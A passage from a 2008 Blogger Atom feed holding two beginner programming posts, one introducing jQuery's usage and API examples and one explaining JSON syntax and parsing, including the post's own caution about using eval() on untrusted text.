target="_blank"href="http://en.wikipedia.org/wiki/Cascading_Style_Sheets" title="Cascading Style Sheets"&gt;CSS&lt;/a&gt; manipulation &lt;/li&gt;&lt;li&gt;Effects and animations &lt;/li&gt;&lt;li&gt;&lt;a target="_blank"href="http://en.wikipedia.org/wiki/Ajax_%28programming%29" title="Ajax (programming)"&gt;Ajax&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Extensibility &lt;/li&gt;&lt;li&gt;Utilities - such as browser version and the       each function. &lt;/li&gt;&lt;li&gt;JavaScript Plugins &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Use &lt;/h2&gt;&lt;p&gt;jQuery exists as a single  JavaScript file, containing all the common DOM, Event, Effects, and Ajax functions. It can be  included within any web page by using the following code:&lt;/p&gt;&lt;strong&gt;&amp;lt;script&lt;/strong&gt; type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;path/to/jQuery.js&amp;quot;&lt;strong&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/strong&gt;&lt;p&gt;jQuery has two styles of  interaction:&lt;/p&gt;&lt;ul type="disc"&gt;&lt;li&gt;via the $ function, which is a factory method       for the jQuery object. These functions are &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Fluent_interface" title="Fluent interface"&gt;&lt;em&gt;chainable&lt;/em&gt;&lt;/a&gt;; they each return the jQuery       object &lt;/li&gt;&lt;li&gt;via $.-prefixed functions. These are       functions which do not work in the jQuery object per se. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A typical workflow for  manipulation of multiple DOM nodes begins with $ function being called with a CSS selector string,  with results in the jQuery object referencing zero or more elements in the HTML  page. This node set can be manipulated by applying instance methods to the  jQuery object, or the nodes themselves can be manipulated. For example:&lt;/p&gt;$(&amp;quot;div.test&amp;quot;).add(&amp;quot;p.quote&amp;quot;).addClass(&amp;quot;blue&amp;quot;).slideDown(&amp;quot;slow&amp;quot;);&lt;p&gt;&amp;hellip;finds the union of all div tags with class attribute test and all p tags with class attribute quote, adds the class attribute blue to each matched element, and then slides  them down with an animation. The $ and add functions  affect the matched set, while the addClass and slideDown affect the referenced nodes.&lt;br /&gt;The methods prefixed with $. are convenience methods or affect global  properties and behaviour. For example:&lt;/p&gt;$.each([1,2,3], &lt;strong&gt;function&lt;/strong&gt;() { &amp;nbsp; &lt;br /&gt;document.&lt;strong&gt;write&lt;/strong&gt;(&lt;strong&gt;this&lt;/strong&gt; + 1); &lt;br /&gt;});&lt;p&gt;&amp;hellip;writes 234 to the document.&lt;br /&gt;It is possible to perform Ajax routines using the $.ajax and associated methods to load and  manipulate remote data.&lt;/p&gt;$.ajax({ &amp;nbsp; &lt;br /&gt;type: &amp;quot;POST&amp;quot;, &amp;nbsp; &lt;br /&gt;url: &amp;quot;some.php&amp;quot;, &amp;nbsp; &lt;br /&gt;data: &amp;quot;name=John&amp;amp;location=Boston&amp;quot;, &amp;nbsp;&lt;br /&gt; success: &lt;strong&gt;function&lt;/strong&gt;(msg){ &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;alert( &amp;quot;Data Saved: &amp;quot; + msg ); &amp;nbsp; &lt;br /&gt;} &lt;br /&gt;});&lt;p&gt;&amp;hellip;will request some.php with  parameters name=John and location=Boston  and when the request is finished successfully, the response will be alerted.&lt;/p&gt;&lt;h2&gt;See also &lt;/h2&gt;&lt;ul type="disc"&gt;&lt;li&gt;&lt;a target="_blank"href="http://en.wikipedia.org/wiki/Comparison_of_JavaScript_frameworks" title="Comparison of JavaScript frameworks"&gt;Comparison of JavaScript frameworks&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;References &lt;/h2&gt;&lt;ul type="disc"&gt;&lt;li&gt;&lt;a target="_blank"href="http://www.eweek.com/article2/0,1895,2010602,00.asp" title="http://www.eweek.com/article2/0,1895,2010602,00.asp"&gt;eWeek&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a target="_blank"href="http://www.infoworld.com/article/06/08/31/HNjscriptsandcastle_1.html" title="http://www.infoworld.com/article/06/08/31/HNjscriptsandcastle_1.html"&gt;Infoworld&lt;/a&gt;, &lt;a target="_blank"href="http://weblog.infoworld.com/techwatch/archives/007794.html" title="http://weblog.infoworld.com/techwatch/archives/007794.html"&gt;(again)&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a target="_blank"href="http://video.yahoo.com/video/play?ei=UTF-8&amp;gid=133414&amp;vid=410472&amp;b=1" title="http://video.yahoo.com/video/play?ei=UTF-8&amp;amp;gid=133414&amp;amp;vid=410472&amp;amp;b=1"&gt;Advancing       JavaScript with Libraries (Part 1) VIDEO&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a target="_blank"href="http://video.yahoo.com/video/play?ei=UTF-8&amp;gid=133414&amp;vid=412541&amp;b=1" title="http://video.yahoo.com/video/play?ei=UTF-8&amp;amp;gid=133414&amp;amp;vid=412541&amp;amp;b=1"&gt;Advancing       JavaScript with Libraries (Part 2) VIDEO&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Further reading &lt;/h2&gt;&lt;ul type="disc"&gt;&lt;li&gt;Learning jQuery, &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Special:BookSources/1847192505"&gt;ISBN       1847192505&lt;/a&gt; &lt;/li&gt;&lt;li&gt;jQuery in Action, &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Special:BookSources/1933988355"&gt;ISBN       1933988355&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Beginning JavaScript with       DOM Scripting and Ajax, &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Special:BookSources/1590596803"&gt;ISBN       1590596803&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Hacking del.icio.us, &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Special:BookSources/0470037857"&gt;ISBN       0470037857&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Pro JavaScript Techniques, &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Special:BookSources/1590597273"&gt;ISBN       1590597273&lt;/a&gt; &lt;/li&gt;&lt;li&gt;AJAX and PHP: Building       Responsive Web Applications, &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Special:BookSources/1904811825"&gt;ISBN       1904811825&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Web Development Solutions, &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Special:BookSources/1590598067"&gt;ISBN       1590598067&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-5663424376184167711?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/5663424376184167711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=5663424376184167711' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/5663424376184167711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/5663424376184167711'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/jquery-is-new-type-of-javascript.html' title='jQuery is a new type of JavaScript library'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-6513491290149758720</id><published>2008-05-08T19:56:00.001+05:30</published><updated>2008-05-20T12:55:52.328+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Technology Upgrades'/><title type='text'>JavaScript Object Notation</title><content type='html'>&lt;p&gt;&lt;a target="_blank"href="http://www.crockford.com/javascript"&gt;JavaScript&lt;/A&gt; is a general   purpose programming language that was introduced as the page scripting language   for Netscape Navigator. &lt;a target="_blank"href="http://www.crockford.com/javascript/javascript.html"&gt;It is widely believed   to be a subset of Java, but it is not&lt;/A&gt;. It is a &lt;a target="_blank"href="http://www.crockford.com/javascript/little.html"&gt;Scheme&lt;/A&gt;-like language   with &lt;a target="_blank"href="http://www.crockford.com/javascript/survey.html"&gt;C-like syntax&lt;/A&gt; and &lt;a target="_blank"href="http://www.crockford.com/javascript/inheritance.html"&gt;soft   objects&lt;/A&gt;. JavaScript was standardized in the &lt;a target="_blank"href="http://www.ecma-international.org/publications/files/ecma-st/ECMA-262.pdf"&gt;ECMAScript   Language Specification, Third Edition&lt;/A&gt;.&lt;/p&gt;&lt;p&gt;&lt;a target="_blank"href="http://www.JSON.org"&gt;JSON&lt;/A&gt; is a subset of the object literal   notation of JavaScript. Since JSON is a subset of JavaScript, it can be used in   the language with no muss or fuss.&lt;/p&gt;var myJSONObject = {"bindings": [          {"ircEvent": "PRIVMSG", "method": "newURI", "regex": "^http://.*"},          {"ircEvent": "PRIVMSG", "method": "deleteURI", "regex": "^delete.*"},          {"ircEvent": "PRIVMSG", "method": "randomURI", "regex": "^random.*"}      ]  };&lt;p&gt;In this example, an object is created containing a single member   "bindings", which contains an array containing three objects, each   containing "ircEvent", "method", and "regex"   members.&lt;/p&gt;&lt;p&gt;Members can be retrieved using dot or subscript operators.&lt;/p&gt;&lt;BLOCKQUOTE&gt; myJSONObject.bindings[0].method    // "newURI" &lt;/BLOCKQUOTE&gt;&lt;p&gt;To convert a JSON text into an object, use the eval() function.   eval() invokes the JavaScript compiler. Since JSON is a proper subset   of JavaScript, the compiler will correctly parse the text and produce an object   structure.&lt;/p&gt;&lt;BLOCKQUOTE&gt; var myObject = eval('(' + myJSONtext + ')'); &lt;/BLOCKQUOTE&gt;&lt;p&gt;The eval function is very fast. However, it can compile and   execute any JavaScript program, so there can be security issues. The use of   eval is indicated when the source is trusted and competent. This is   commonly the case in web applications when a web server is providing both the   base page and the JSON data. There are cases where the source is not trusted. In   particular, clients should never be trusted.&lt;/p&gt;&lt;p&gt;When security is a concern it is better to use a JSON parser. A JSON parser   will recognize only JSON text and so is much safer:&lt;/p&gt;&lt;BLOCKQUOTE&gt; var myObject = JSON.parse(myJSONtext, filter); &lt;/BLOCKQUOTE&gt;&lt;p&gt;The optional filter parameter is a function that will be called   for every key and value at every level of the final result. Each value will be   replaced by the result of the filter function. This can be used to   reform generic objects into instances of classes, or to transform date strings   into Date objects.&lt;/p&gt;myData = JSON.parse(text, function (key, value) {&lt;BR&gt;return key.indexOf('date') &amp;gt;= 0 ? new Date(value) : value;&lt;BR&gt;});&lt;p&gt;A JSON stringifier goes in the opposite direction, converting JavaScript data   structures into JSON text. JSON does not support cyclic data structures, so be   careful to not give cyclical structures to the JSON stringifier.&lt;/p&gt;&lt;BLOCKQUOTE&gt; var myJSONText = JSON.stringify(myObject); &lt;/BLOCKQUOTE&gt;&lt;p&gt;If the stringify method sees an object that contains a toJSON   method, it calls the method, and stringifies the value returned. This allows an   object to determine its own JSON representation.&lt;/p&gt;&lt;p&gt;The stringifier method can take an optional array of strings.   These strings are used to select the properties that will be included in the   JSON text. Otherwise, all of the properties of the object will be included. In   any case, values that do not have a representation in JSON (such as functions   and undefined) are excluded.&lt;/p&gt;&lt;hr&gt;&lt;p&gt;&lt;strong&gt;JSON&lt;/strong&gt; (JavaScript Object Notation) is a lightweight data-interchange   format. It is easy for humans to read and write. It is easy for machines to   parse and generate. It is based on a subset of the &lt;a target="_blank"href="http://javascript.crockford.com/"&gt;JavaScript Programming Language&lt;/A&gt;, &lt;a target="_blank"href="http://www.ecma-international.org/publications/files/ecma-st/ECMA-262.pdf"&gt;Standard   ECMA-262 3rd Edition - December 1999&lt;/A&gt;. JSON is a text format that is   completely language independent but uses conventions that are familiar to   programmers of the C-family of languages, including C, C++, C#, Java,   JavaScript, Perl, Python, and many others. These properties make JSON an ideal   data-interchange language.&lt;/p&gt;&lt;p&gt;JSON is built on two structures:&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;A collection of name/value pairs. In various languages, this is realized as   an &lt;em&gt;object&lt;/em&gt;, record, struct, dictionary, hash table, keyed list, or   associative array.   &lt;LI&gt;An ordered list of values. In most languages, this is realized as an &lt;em&gt;array&lt;/em&gt;, vector, list, or sequence. &lt;/LI&gt;&lt;/UL&gt;&lt;p&gt;These are universal data structures. Virtually all modern programming   languages support them in one form or another. It makes sense that a data format   that is interchangable with programming languages also be based on these   structures.&lt;/p&gt;&lt;p&gt;In JSON, they take on these forms:&lt;/p&gt;&lt;p&gt;An &lt;em&gt;object&lt;/em&gt; is an unordered set of name/value pairs. An object begins   with { (left brace) and ends with   } (right brace). Each name is followed by   : (colon) and the name/value pairs are separated by   , (comma).&lt;/p&gt;&lt;p&gt;&lt;IMG src="http://www.json.org/object.gif" width="498"&gt;&lt;/p&gt;&lt;p&gt;An &lt;em&gt;array&lt;/em&gt; is an ordered collection of values. An array begins with   [ (left bracket) and ends with ] (right   bracket). Values are separated by , (comma).&lt;/p&gt;&lt;p&gt;&lt;IMG src="http://www.json.org/array.gif" width="498"&gt;&lt;/p&gt;&lt;p&gt;A &lt;em&gt;value&lt;/em&gt; can be a &lt;em&gt;string&lt;/em&gt; in double quotes, or a &lt;em&gt;number&lt;/em&gt;,   or true or false or null, or an &lt;em&gt;object&lt;/em&gt; or an &lt;em&gt;array&lt;/em&gt;. These structures can be nested.&lt;/p&gt;&lt;p&gt;&lt;IMG src="http://www.json.org/value.gif" width="498"&gt;&lt;/p&gt;&lt;p&gt;A &lt;em&gt;string&lt;/em&gt; is a collection of zero or more Unicode characters, wrapped   in double quotes, using backslash escapes. A character is represented as a   single character string. A string is very much like a C or Java string.&lt;/p&gt;&lt;p&gt;&lt;IMG src="http://www.json.org/string.gif" width="498"&gt;&lt;/p&gt;&lt;p&gt;A &lt;em&gt;number&lt;/em&gt; is very much like a C or Java number, except that the octal   and hexadecimal formats are not used.&lt;/p&gt;&lt;p&gt;&lt;IMG src="http://www.json.org/number.gif" width="498"&gt;&lt;/p&gt;&lt;p&gt;Whitespace can be inserted between any pair of tokens. Excepting a few   encoding details, that completely describes the language.&lt;br&gt;&lt;/p&gt;&lt;DL&gt;&lt;DT&gt;&lt;em&gt;object&lt;/em&gt;&lt;DD&gt;&lt;strong&gt;{}&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;{&lt;/strong&gt; &lt;em&gt;members&lt;/em&gt; &lt;strong&gt;}&lt;/strong&gt;  &lt;DT&gt;&lt;em&gt;members&lt;/em&gt;&lt;DD&gt;&lt;em&gt;pair&lt;/em&gt;&lt;BR&gt;&lt;em&gt;pair&lt;/em&gt; &lt;strong&gt;,&lt;/strong&gt; &lt;em&gt;members&lt;/em&gt;&lt;DT&gt;&lt;em&gt;pair&lt;/em&gt;&lt;DD&gt;&lt;em&gt;string&lt;/em&gt; &lt;strong&gt;:&lt;/strong&gt; &lt;em&gt;value&lt;/em&gt;&lt;DT&gt;&lt;em&gt;array&lt;/em&gt;&lt;DD&gt;&lt;strong&gt;[]&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;[&lt;/strong&gt; &lt;em&gt;elements&lt;/em&gt; &lt;strong&gt;]&lt;/strong&gt;&lt;DT&gt;&lt;em&gt;elements&lt;/em&gt;&lt;DD&gt;&lt;em&gt;value&lt;/em&gt; &lt;BR&gt;&lt;em&gt;value&lt;/em&gt; &lt;strong&gt;,&lt;/strong&gt; &lt;em&gt;elements&lt;/em&gt;&lt;DT&gt;&lt;em&gt;value&lt;/em&gt;&lt;DD&gt;&lt;em&gt;string&lt;/em&gt;&lt;BR&gt;&lt;em&gt;number&lt;/em&gt;&lt;BR&gt;&lt;em&gt;object&lt;/em&gt;&lt;BR&gt;&lt;em&gt;array&lt;/em&gt;&lt;BR&gt;&lt;strong&gt;true&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;false&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;null&lt;/strong&gt; &lt;/DD&gt;&lt;/DL&gt;&lt;HR align="center" width="144"&gt;&lt;DL&gt;&lt;DT&gt;&lt;em&gt;string&lt;/em&gt;&lt;DD&gt;&lt;strong&gt;""&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;"&lt;/strong&gt; &lt;em&gt;chars&lt;/em&gt; &lt;strong&gt;"&lt;/strong&gt;&lt;DT&gt;&lt;em&gt;chars&lt;/em&gt;&lt;DD&gt;&lt;em&gt;char&lt;/em&gt;&lt;BR&gt;&lt;em&gt;char chars&lt;/em&gt;&lt;DT&gt;&lt;em&gt;char&lt;/em&gt;&lt;DD&gt;&lt;em&gt;any-Unicode-character-&lt;/em&gt;&lt;BR&gt;    &lt;em&gt;except-&lt;/em&gt;&lt;strong&gt;"&lt;/strong&gt;&lt;em&gt;-or-&lt;/em&gt;&lt;strong&gt;\&lt;/strong&gt;&lt;em&gt;-or-&lt;/em&gt;&lt;BR&gt;    &lt;em&gt;control-character&lt;/em&gt;&lt;BR&gt;&lt;strong&gt;\"&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;\\&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;\/&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;\b&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;\f&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;\n&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;\r&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;\t&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;\u&lt;/strong&gt; &lt;em&gt;four-hex-digits&lt;/em&gt;&lt;DT&gt;&lt;em&gt;number&lt;/em&gt;&lt;DD&gt;&lt;em&gt;int&lt;/em&gt;&lt;BR&gt;&lt;em&gt;int frac&lt;/em&gt;&lt;BR&gt;&lt;em&gt;int exp&lt;/em&gt;&lt;BR&gt;&lt;em&gt;int frac exp&lt;/em&gt;&lt;DT&gt;&lt;em&gt;int&lt;/em&gt;&lt;DD&gt;&lt;em&gt;digit&lt;/em&gt;&lt;BR&gt;&lt;em&gt;digit1-9 digits&lt;/em&gt; &lt;BR&gt;&lt;strong&gt;-&lt;/strong&gt; &lt;em&gt;digit&lt;/em&gt;&lt;BR&gt;&lt;strong&gt;-&lt;/strong&gt; &lt;em&gt;digit1-9 digits&lt;/em&gt;&lt;DT&gt;&lt;em&gt;frac&lt;/em&gt;&lt;DD&gt;&lt;strong&gt;.&lt;/strong&gt; &lt;em&gt;digits&lt;/em&gt;&lt;DT&gt;&lt;em&gt;exp&lt;/em&gt;&lt;DD&gt;&lt;em&gt;e&lt;/em&gt; &lt;em&gt;digits&lt;/em&gt;&lt;DT&gt;&lt;em&gt;digits&lt;/em&gt;&lt;DD&gt;&lt;em&gt;digit&lt;/em&gt;&lt;BR&gt;&lt;em&gt;digit&lt;/em&gt; &lt;em&gt;digits&lt;/em&gt;&lt;DT&gt;&lt;em&gt;e&lt;/em&gt;&lt;DD&gt;&lt;strong&gt;e&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;e+&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;e-&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;E&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;E+&lt;/strong&gt;&lt;BR&gt;&lt;strong&gt;E-&lt;/strong&gt; &lt;/DD&gt;&lt;/DL&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-6513491290149758720?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/6513491290149758720/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=6513491290149758720' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6513491290149758720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6513491290149758720'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/javascript-object-notation.html' title='JavaScript Object Notation'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-5507419112907068337</id><published>2008-05-08T19:28:00.001+05:3
